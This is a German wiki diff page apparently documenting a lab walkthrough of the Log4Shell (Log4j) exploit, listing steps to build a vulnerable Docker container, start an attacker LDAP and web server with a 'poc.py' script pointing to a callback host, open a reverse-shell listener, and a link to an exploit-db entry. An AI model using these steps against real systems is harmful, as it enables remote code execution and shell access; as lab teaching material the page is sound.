Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 16: Zeile 16:
 
*docker build -t log4j-shell-poc .
 
*docker build -t log4j-shell-poc .
 
*docker run --network host log4j-shell-poc
 
*docker run --network host log4j-shell-poc
 +
=Webseite öffnen=
  
 
=Exploit=
 
=Exploit=
 
*https://www.exploit-db.com/exploits/50592
 
*https://www.exploit-db.com/exploits/50592

Version vom 17. Dezember 2021, 11:10 Uhr

Schaubild

Proof of Concept

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

Log4j-2.png

App starten eventuell auf anderem Rechner

Webseite öffnen

Exploit